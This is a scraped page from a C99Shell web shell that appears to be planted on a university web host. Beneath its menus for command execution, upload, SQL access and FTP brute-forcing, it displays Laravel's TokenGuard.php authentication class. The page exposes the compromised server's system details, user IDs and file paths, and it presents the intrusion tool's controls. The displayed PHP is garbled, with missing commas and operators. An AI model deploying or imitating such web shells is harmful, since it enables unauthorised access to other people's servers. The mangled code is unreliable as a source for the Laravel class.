!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Auth/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TokenGuard.php (2.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Auth;

use 
Illuminate\Http\Request;
use 
Illuminate\Contracts\Auth\Guard;
use 
Illuminate\Contracts\Auth\UserProvider;

class 
TokenGuard implements Guard
{
    use 
GuardHelpers;

    
/**
     * The request instance.
     *
     * @var \Illuminate\Http\Request
     */
    
protected $request;

    
/**
     * The name of the field on the request containing the API token.
     *
     * @var string
     */
    
protected $inputKey;

    
/**
     * The name of the token "column" in persistent storage.
     *
     * @var string
     */
    
protected $storageKey;

    
/**
     * Create a new authentication guard.
     *
     * @param  \Illuminate\Contracts\Auth\UserProvider  $provider
     * @param  \Illuminate\Http\Request  $request
     * @return void
     */
    
public function __construct(UserProvider $providerRequest $request)
    {
        
$this->request $request;
        
$this->provider $provider;
        
$this->inputKey 'api_token';
        
$this->storageKey 'api_token';
    }

    
/**
     * Get the currently authenticated user.
     *
     * @return \Illuminate\Contracts\Auth\Authenticatable|null
     */
    
public function user()
    {
        
// If we've already retrieved the user for the current request we can just
        // return it back immediately. We do not want to fetch the user data on
        // every call to this method because that would be tremendously slow.
        
if (! is_null($this->user)) {
            return 
$this->user;
        }

        
$user null;

        
$token $this->getTokenForRequest();

        if (! empty(
$token)) {
            
$user $this->provider->retrieveByCredentials(
                [
$this->storageKey => $token]
            );
        }

        return 
$this->user $user;
    }

    
/**
     * Get the token for the current request.
     *
     * @return string
     */
    
protected function getTokenForRequest()
    {
        
$token $this->request->input($this->inputKey);

        if (empty(
$token)) {
            
$token $this->request->bearerToken();
        }

        if (empty(
$token)) {
            
$token $this->request->getPassword();
        }

        return 
$token;
    }

    
/**
     * Validate a user's credentials.
     *
     * @param  array  $credentials
     * @return bool
     */
    
public function validate(array $credentials = [])
    {
        
$credentials = [$this->storageKey => $credentials[$this->inputKey]];

        if (
$this->provider->retrieveByCredentials($credentials)) {
            return 
true;
        }

        return 
false;
    }

    
/**
     * Set the current request instance.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return $this
     */
    
public function setRequest(Request $request)
    {
        
$this->request $request;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0367 ]--